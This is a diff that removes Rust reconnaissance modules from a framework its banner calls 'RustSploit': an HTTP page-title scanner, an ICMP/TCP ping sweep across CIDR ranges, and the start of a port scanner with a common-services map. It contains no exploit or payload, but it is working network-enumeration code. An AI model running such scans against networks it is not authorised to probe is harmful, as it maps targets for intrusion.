println!("[-] {} -> error: {}", url, err);
|
||||
all_results.push(TitleResult {
|
||||
url: url.clone(),
|
||||
status: None,
|
||||
title: None,
|
||||
error: Some(err.to_string()),
|
||||
duration_ms: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_title_scan_{}.txt",
|
||||
Utc::now().format("%Y%m%d_%H%M%S")
|
||||
);
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
)?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
}
|
||||
|
||||
println!("\n[*] Scan complete.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
struct TitleResult {
|
||||
url: String,
|
||||
status: Option<StatusCode>,
|
||||
title: Option<String>,
|
||||
error: Option<String>,
|
||||
duration_ms: u128,
|
||||
}
|
||||
|
||||
impl TitleResult {
|
||||
fn display_title(&self) -> String {
|
||||
match (&self.title, &self.error) {
|
||||
(Some(title), _) => title.clone(),
|
||||
(None, Some(err)) => format!("error: {}", err),
|
||||
(None, None) => "<no title>".to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result<TitleResult> {
|
||||
let start = std::time::Instant::now();
|
||||
let response = client.get(url).send().await.context("Request failed")?;
|
||||
let status = response.status();
|
||||
let text = response.text().await.unwrap_or_default();
|
||||
let title = title_re
|
||||
.captures(&text)
|
||||
.and_then(|cap| cap.get(1))
|
||||
.map(|m| sanitize_title(m.as_str()));
|
||||
let duration = start.elapsed().as_millis();
|
||||
|
||||
Ok(TitleResult {
|
||||
url: url.to_string(),
|
||||
status: Some(status),
|
||||
title,
|
||||
error: None,
|
||||
duration_ms: duration,
|
||||
})
|
||||
}
|
||||
|
||||
fn sanitize_title(raw: &str) -> String {
|
||||
raw
|
||||
.lines()
|
||||
.map(|line| line.trim())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
.join(" ")
|
||||
.chars()
|
||||
.take(200)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
let mut targets = Vec::new();
|
||||
let trimmed = initial_target.trim();
|
||||
if !trimmed.is_empty() && trimmed != "http_title_scanner" {
|
||||
targets.extend(split_targets(trimmed));
|
||||
}
|
||||
targets
|
||||
}
|
||||
|
||||
fn split_targets(input: &str) -> Vec<String> {
|
||||
input
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let data = fs::read_to_string(path)
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
Ok(split_targets(&data))
|
||||
}
|
||||
|
||||
fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool) -> Vec<String> {
|
||||
let mut unique = HashSet::new();
|
||||
let mut normalized = Vec::new();
|
||||
|
||||
for raw in targets {
|
||||
let target = raw.trim();
|
||||
if target.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
if target.starts_with("http://") || target.starts_with("https://") {
|
||||
if unique.insert(target.to_string()) {
|
||||
normalized.push(target.to_string());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if check_https {
|
||||
let https = format!("https://{}", target);
|
||||
if unique.insert(https.clone()) {
|
||||
normalized.push(https);
|
||||
}
|
||||
}
|
||||
|
||||
if check_http {
|
||||
let http = format!("http://{}", target);
|
||||
if unique.insert(http.clone()) {
|
||||
normalized.push(http);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
normalized
|
||||
}
|
||||
|
||||
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
let mut expanded = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
|
||||
for target in targets {
|
||||
if let Ok(url) = Url::parse(target) {
|
||||
for port in ports {
|
||||
let mut candidate = url.clone();
|
||||
if candidate.set_port(Some(*port)).is_ok() {
|
||||
let final_url = candidate.to_string();
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for port in ports {
|
||||
let final_url = format!("{}:{}", target, port);
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
expanded
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" | "true" => Ok(true),
|
||||
"n" | "no" | "false" => Ok(false),
|
||||
_ => {
|
||||
println!("[!] Invalid input, using default ({})", default_text);
|
||||
Ok(default)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(input)
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_timeout() -> Result<u64> {
|
||||
let input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
if input.is_empty() {
|
||||
return Ok(10);
|
||||
}
|
||||
match input.parse::<u64>() {
|
||||
Ok(val) if val > 0 => Ok(val),
|
||||
_ => {
|
||||
println!("[!] Invalid timeout, using default (10s)");
|
||||
Ok(10)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_ports() -> Result<Vec<u16>> {
|
||||
let input = prompt(
|
||||
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
|
||||
)?;
|
||||
if input.is_empty() {
|
||||
println!("[!] No ports provided; skipping port tunneling.");
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let mut ports = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
|
||||
let trimmed = part.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match trimmed.parse::<u16>() {
|
||||
Ok(port) => {
|
||||
if seen.insert(port) {
|
||||
ports.push(port);
|
||||
}
|
||||
}
|
||||
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
|
||||
}
|
||||
}
|
||||
|
||||
if ports.is_empty() {
|
||||
println!("[!] No valid ports parsed; skipping port tunneling.");
|
||||
}
|
||||
|
||||
Ok(ports)
|
||||
}
|
||||
|
||||
fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
|
||||
let mut lines = Vec::new();
|
||||
lines.push("HTTP Title Scanner Report".to_string());
|
||||
lines.push(format!("Generated at: {}", Utc::now()));
|
||||
lines.push(String::new());
|
||||
|
||||
for result in results {
|
||||
let status_text = result
|
||||
.status
|
||||
.map(|s| s.as_u16().to_string())
|
||||
.unwrap_or_else(|| "n/a".to_string());
|
||||
lines.push(format!(
|
||||
"{} | status: {:<5} | title: {}",
|
||||
result.url,
|
||||
status_text,
|
||||
result.display_title()
|
||||
));
|
||||
if result.duration_ms > 0 {
|
||||
lines.push(format!(" duration: {} ms", result.duration_ms));
|
||||
}
|
||||
}
|
||||
|
||||
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════╗
|
||||
║ HTTP TITLE SCANNER (RustSploit) ║
|
||||
║ Enumerate page titles over HTTP/HTTPS endpoints ║
|
||||
╚══════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
pub mod sample_scanner;
|
||||
pub mod ssdp_msearch;
|
||||
pub mod port_scanner;
|
||||
pub mod stalkroute_full_traceroute;
|
||||
pub mod http_title_scanner;
|
||||
pub mod ping_sweep;
|
||||
pub mod http_method_scanner;
|
||||
pub mod dns_recursion;
|
||||
@@ -1,606 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ipnet::IpNet;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{self, BufRead, BufReader, Write},
|
||||
net::{IpAddr, SocketAddr},
|
||||
sync::{
|
||||
atomic::{AtomicUsize, Ordering},
|
||||
Arc,
|
||||
},
|
||||
};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct PingConfig {
|
||||
targets: Vec<IpNet>,
|
||||
methods: Vec<PingMethod>,
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
enum PingMethod {
|
||||
Icmp,
|
||||
Tcp { ports: Vec<u16> },
|
||||
}
|
||||
|
||||
impl PingMethod {
|
||||
fn describe(&self) -> String {
|
||||
match self {
|
||||
PingMethod::Icmp => "ICMP".to_string(),
|
||||
PingMethod::Tcp { ports } => {
|
||||
if ports.len() == 1 {
|
||||
format!("TCP/{}", ports[0])
|
||||
} else {
|
||||
format!(
|
||||
"TCP [{}]",
|
||||
ports
|
||||
.iter()
|
||||
.map(u16::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn label(&self) -> &'static str {
|
||||
match self {
|
||||
PingMethod::Icmp => "ICMP",
|
||||
PingMethod::Tcp { .. } => "TCP",
|
||||
}
|
||||
}
|
||||
|
||||
async fn probe(&self, ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
|
||||
match self {
|
||||
PingMethod::Icmp => icmp_probe(ip, timeout).await,
|
||||
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point triggered via the dispatcher
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
let config = gather_configuration(initial_target)?;
|
||||
execute_ping_sweep(&config).await
|
||||
}
|
||||
|
||||
fn parse_target(input: &str) -> Result<IpNet> {
|
||||
if let Ok(net) = input.parse::<IpNet>() {
|
||||
return Ok(net);
|
||||
}
|
||||
|
||||
if let Ok(ip) = input.parse::<IpAddr>() {
|
||||
let prefix = match ip {
|
||||
IpAddr::V4(_) => 32,
|
||||
IpAddr::V6(_) => 128,
|
||||
};
|
||||
let cidr = format!("{}/{}", ip, prefix);
|
||||
let net = cidr
|
||||
.parse::<IpNet>()
|
||||
.context("failed to convert host to /32 or /128 network")?;
|
||||
return Ok(net);
|
||||
}
|
||||
|
||||
Err(anyhow!("Invalid target '{}'. Use IP or IP/CIDR.", input))
|
||||
}
|
||||
|
||||
fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
println!("{}", "=== Ping Sweep Configuration ===".bold());
|
||||
|
||||
let mut nets: Vec<IpNet> = Vec::new();
|
||||
|
||||
let initial_trimmed = initial.trim();
|
||||
if !initial_trimmed.is_empty() {
|
||||
match parse_target(initial_trimmed) {
|
||||
Ok(net) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Loaded initial target {}", net).green()
|
||||
);
|
||||
nets.push(net);
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(" Initial target '{}' skipped: {}", initial_trimmed, e)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Add additional targets manually?", false)? {
|
||||
loop {
|
||||
let entry = prompt_line(
|
||||
"Enter target (IP or CIDR, leave blank to stop): ",
|
||||
true,
|
||||
)?;
|
||||
if entry.is_empty() {
|
||||
break;
|
||||
}
|
||||
match parse_target(&entry) {
|
||||
Ok(net) => {
|
||||
println!("{}", format!(" + {}", net).cyan());
|
||||
nets.push(net);
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!(" ! {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let path = prompt_line("Path to file: ", false)?;
|
||||
let file_targets = load_targets_from_file(&path)?;
|
||||
if file_targets.is_empty() {
|
||||
println!("{}", " No targets parsed from file.".yellow());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Loaded {} targets from '{}'",
|
||||
file_targets.len(),
|
||||
path
|
||||
)
|
||||
.green()
|
||||
);
|
||||
nets.extend(file_targets);
|
||||
}
|
||||
}
|
||||
|
||||
if nets.is_empty() {
|
||||
return Err(anyhow!(
|
||||
"No valid targets supplied. Provide at least one IP or subnet."
|
||||
));
|
||||
}
|
||||
|
||||
// Deduplicate targets
|
||||
let mut unique: HashSet<IpNet> = HashSet::new();
|
||||
for net in nets {
|
||||
unique.insert(net);
|
||||
}
|
||||
let targets: Vec<IpNet> = unique.into_iter().collect();
|
||||
|
||||
let timeout_secs =
|
||||
prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?;
|
||||
let concurrency =
|
||||
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
|
||||
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
|
||||
|
||||
let methods = loop {
|
||||
let mut methods = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? {
|
||||
methods.push(PingMethod::Icmp);
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use TCP connect probes?", false)? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports (comma separated)", default_ports)?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
} else {
|
||||
methods.push(PingMethod::Tcp { ports });
|
||||
}
|
||||
}
|
||||
|
||||
if methods.is_empty() {
|
||||
println!("{}", "Select at least one method.".red().bold());
|
||||
continue;
|
||||
}
|
||||
break methods;
|
||||
};
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[*] Targets: {} | Methods: {} | Concurrency: {} | Timeout: {}s",
|
||||
targets.len(),
|
||||
methods_summary(&methods),
|
||||
concurrency,
|
||||
timeout_secs
|
||||
)
|
||||
.bold()
|
||||
);
|
||||
|
||||
Ok(PingConfig {
|
||||
targets,
|
||||
methods,
|
||||
concurrency,
|
||||
timeout_secs,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<IpNet>> {
|
||||
let file = File::open(path)
|
||||
.with_context(|| format!("Failed to open target file '{}'", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut nets = Vec::new();
|
||||
|
||||
for (idx, line) in reader.lines().enumerate() {
|
||||
let line = line?;
|
||||
let mut content = line.split('#').next().unwrap_or("").trim().to_string();
|
||||
if content.is_empty() {
|
||||
continue;
|
||||
}
|
||||
content = content.replace(',', " ");
|
||||
for token in content.split_whitespace() {
|
||||
match parse_target(token) {
|
||||
Ok(net) => nets.push(net),
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(" [file:{}] skipped '{}': {}", idx + 1, token, e)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(nets)
|
||||
}
|
||||
|
||||
fn methods_summary(methods: &[PingMethod]) -> String {
|
||||
methods
|
||||
.iter()
|
||||
.map(PingMethod::describe)
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ")
|
||||
}
|
||||
|
||||
async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
let mut host_set: HashSet<IpAddr> = HashSet::new();
|
||||
for net in &config.targets {
|
||||
for host in net.hosts() {
|
||||
host_set.insert(host);
|
||||
}
|
||||
}
|
||||
|
||||
if host_set.is_empty() {
|
||||
println!("{}", "No host addresses derived from supplied targets.".yellow());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut hosts: Vec<IpAddr> = host_set.into_iter().collect();
|
||||
hosts.sort();
|
||||
|
||||
let total_hosts = hosts.len();
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[*] Beginning sweep of {} hosts using {} method(s)...",
|
||||
total_hosts,
|
||||
config.methods.len()
|
||||
)
|
||||
.bold()
|
||||
);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.concurrency));
|
||||
let methods = Arc::new(config.methods.clone());
|
||||
let timeout = Duration::from_secs(config.timeout_secs.max(1));
|
||||
let verbose = config.verbose;
|
||||
let success_counter = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let processed_counter = Arc::new(AtomicUsize::new(0));
|
||||
let start_time = std::time::Instant::now();
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in hosts {
|
||||
let sem = semaphore.clone();
|
||||
let methods_clone = methods.clone();
|
||||
let success_clone = success_counter.clone();
|
||||
let processed_clone = processed_counter.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let permit = match sem.acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return,
|
||||
};
|
||||
let ip_string = ip.to_string();
|
||||
let mut successes = Vec::new();
|
||||
|
||||
for method in methods_clone.iter() {
|
||||
match method.probe(&ip, timeout).await {
|
||||
Ok(mut labels) => successes.append(&mut labels),
|
||||
Err(err) => {
|
||||
if verbose {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] {} ({}) error: {}",
|
||||
ip_string,
|
||||
method.label(),
|
||||
err
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
|
||||
let processed = processed_clone.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
|
||||
// Progress indicator every 100 hosts or at completion
|
||||
if processed % 100 == 0 || processed == total_hosts {
|
||||
let elapsed = start_time.elapsed().as_secs();
|
||||
let rate = if elapsed > 0 { (processed as u64) / elapsed } else { 0 };
|
||||
print!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[*] Progress: {}/{} hosts ({:.1}%) | Up: {} | Rate: {}/s",
|
||||
processed,
|
||||
total_hosts,
|
||||
(processed as f64 / total_hosts as f64) * 100.0,
|
||||
success_clone.load(Ordering::Relaxed),
|
||||
rate
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
io::stdout().flush().ok();
|
||||
}
|
||||
|
||||
if !successes.is_empty() {
|
||||
success_clone.fetch_add(1, Ordering::Relaxed);
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] Host {} is up ({})",
|
||||
ip_string,
|
||||
successes.join(", ")
|
||||
)
|
||||
.green()
|
||||
);
|
||||
} else if verbose {
|
||||
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
// Clear progress line
|
||||
print!("\r{}\r", " ".repeat(80));
|
||||
io::stdout().flush().ok();
|
||||
|
||||
let up_hosts = success_counter.load(Ordering::Relaxed);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[*] Sweep complete: {}/{} hosts responded.",
|
||||
up_hosts, total_hosts
|
||||
)
|
||||
.bold()
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
|
||||
// Try to detect the OS and use appropriate ping command
|
||||
let wait_secs = timeout.as_secs().max(1).to_string();
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
let (cmd, args_vec) = if ip.is_ipv4() {
|
||||
// Try ping first, fallback to ping6 for IPv4 if ping doesn't exist
|
||||
if which::which("ping").is_ok() {
|
||||
("ping", vec!["-c", "1", "-W", &wait_secs, &ip_str])
|
||||
} else if which::which("ping6").is_ok() {
|
||||
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
|
||||
} else {
|
||||
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
|
||||
}
|
||||
} else {
|
||||
// IPv6
|
||||
if which::which("ping6").is_ok() {
|
||||
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
|
||||
} else if which::which("ping").is_ok() {
|
||||
// Some systems use ping -6 for IPv6
|
||||
("ping", vec!["-6", "-c", "1", "-W", &wait_secs, &ip_str])
|
||||
} else {
|
||||
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
|
||||
}
|
||||
};
|
||||
|
||||
let result = tokio::time::timeout(
|
||||
timeout,
|
||||
Command::new(cmd)
|
||||
.args(args_vec)
|
||||
.output(),
|
||||
)
|
||||
.await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(output)) => {
|
||||
if output.status.success() {
|
||||
Ok(vec!["ICMP".to_string()])
|
||||
} else {
|
||||
Ok(Vec::new())
|
||||
}
|
||||
}
|
||||
Ok(Err(err)) => Err(anyhow!("Ping command failed: {}", err)),
|
||||
Err(_) => Ok(Vec::new()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
|
||||
// Probe ports in parallel for better performance
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for port in ports {
|
||||
let ip = *ip;
|
||||
let port = *port;
|
||||
let timeout = timeout;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let socket = SocketAddr::new(ip, port);
|
||||
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
|
||||
Ok(Ok(_stream)) => {
|
||||
// Connection successful - drop stream immediately
|
||||
Some(format!("TCP/{}", port))
|
||||
}
|
||||
Ok(Err(_)) => None,
|
||||
Err(_) => None,
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
let mut successes = Vec::new();
|
||||
for task in tasks {
|
||||
if let Ok(Some(label)) = task.await {
|
||||
successes.push(label);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
|
||||
print!("{}", message.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_string();
|
||||
if !allow_empty && trimmed.is_empty() {
|
||||
return Err(anyhow!("Input cannot be empty."));
|
||||
}
|
||||
Ok(trimmed)
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
print!(
|
||||
"{}",
|
||||
format!("{} [{}]: ", message, default).cyan().bold()
|
||||
);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
loop {
|
||||
print!(
|
||||
"{}",
|
||||
format!("{} [{}]: ", message, default_hint).cyan().bold()
|
||||
);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(
|
||||
message: &str,
|
||||
default: usize,
|
||||
min: Option<usize>,
|
||||
max: Option<usize>,
|
||||
) -> Result<usize> {
|
||||
loop {
|
||||
let response = prompt_with_default(message, &default.to_string())?;
|
||||
match response.parse::<usize>() {
|
||||
Ok(value) => {
|
||||
if let Some(minimum) = min {
|
||||
if value < minimum {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Value must be >= {}", minimum).yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if let Some(maximum) = max {
|
||||
if value > maximum {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Value must be <= {}", maximum).yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
return Ok(value);
|
||||
}
|
||||
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_u64(
|
||||
message: &str,
|
||||
default: u64,
|
||||
min: Option<u64>,
|
||||
max: Option<u64>,
|
||||
) -> Result<u64> {
|
||||
loop {
|
||||
let response = prompt_with_default(message, &default.to_string())?;
|
||||
match response.parse::<u64>() {
|
||||
Ok(value) => {
|
||||
if let Some(minimum) = min {
|
||||
if value < minimum {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Value must be >= {}", minimum).yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if let Some(maximum) = max {
|
||||
if value > maximum {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Value must be <= {}", maximum).yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
return Ok(value);
|
||||
}
|
||||
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_ports(input: &str) -> Result<Vec<u16>> {
|
||||
let mut ports = Vec::new();
|
||||
for token in input.replace(',', " ").split_whitespace() {
|
||||
match token.parse::<u16>() {
|
||||
Ok(port) => ports.push(port),
|
||||
Err(_) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" Skipping invalid port '{}'", token).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
ports.sort_unstable();
|
||||
ports.dedup();
|
||||
Ok(ports)
|
||||
}
|
||||
@@ -1,593 +0,0 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use colored::*;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, Write, BufWriter},
|
||||
net::{SocketAddr, ToSocketAddrs},
|
||||
sync::{Arc, Mutex},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::{TcpStream, UdpSocket},
|
||||
sync::Semaphore,
|
||||
time::{timeout, Duration},
|
||||
};
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ScanSettings {
|
||||
pub concurrency: usize,
|
||||
pub timeout_secs: u64,
|
||||
pub show_only_open: bool,
|
||||
pub verbose: bool,
|
||||
pub scan_udp_enabled: bool,
|
||||
pub output_file: String,
|
||||
pub port_range: PortRange,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum PortRange {
|
||||
All,
|
||||
Custom { start: u16, end: u16 },
|
||||
Common,
|
||||
Top1000,
|
||||
}
|
||||
|
||||
impl PortRange {
|
||||
fn get_ports(&self) -> Vec<u16> {
|
||||
match self {
|
||||
PortRange::All => (1..=65535).collect(),
|
||||
PortRange::Custom { start, end } => (*start..=*end).collect(),
|
||||
PortRange::Common => COMMON_PORTS.to_vec(),
|
||||
PortRange::Top1000 => (1..=1000).collect(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Common ports list
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
|
||||
];
|
||||
|
||||
// Service detection map
|
||||
fn get_service_name(port: u16) -> &'static str {
|
||||
match port {
|
||||
21 => "FTP",
|
||||
22 => "SSH",
|
||||
23 => "Telnet",
|
||||
25 => "SMTP",
|
||||
53 => "DNS",
|
||||
80 => "HTTP",
|
||||
110 => "POP3",
|
||||
111 => "RPC",
|
||||
135 => "MSRPC",
|
||||
139 => "NetBIOS",
|
||||
143 => "IMAP",
|
||||
443 => "HTTPS",
|
||||
445 => "SMB",
|
||||
993 => "IMAPS",
|
||||
995 => "POP3S",
|
||||
1723 => "PPTP",
|
||||
3306 => "MySQL",
|
||||
3389 => "RDP",
|
||||
5900 => "VNC",
|
||||
8080 => "HTTP-Proxy",
|
||||
_ => "",
|
||||
}
|
||||
}
|
||||
|
||||
/// Interactive config prompt
|
||||
pub fn prompt_settings() -> Result<ScanSettings> {
|
||||
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
|
||||
|
||||
// Port range selection
|
||||
println!("\n{}", "Port Range Options:".yellow());
|
||||
println!(" 1. All ports (1-65535)");
|
||||
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
|
||||
println!(" 3. Top 1000 ports");
|
||||
println!(" 4. Custom range");
|
||||
|
||||
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
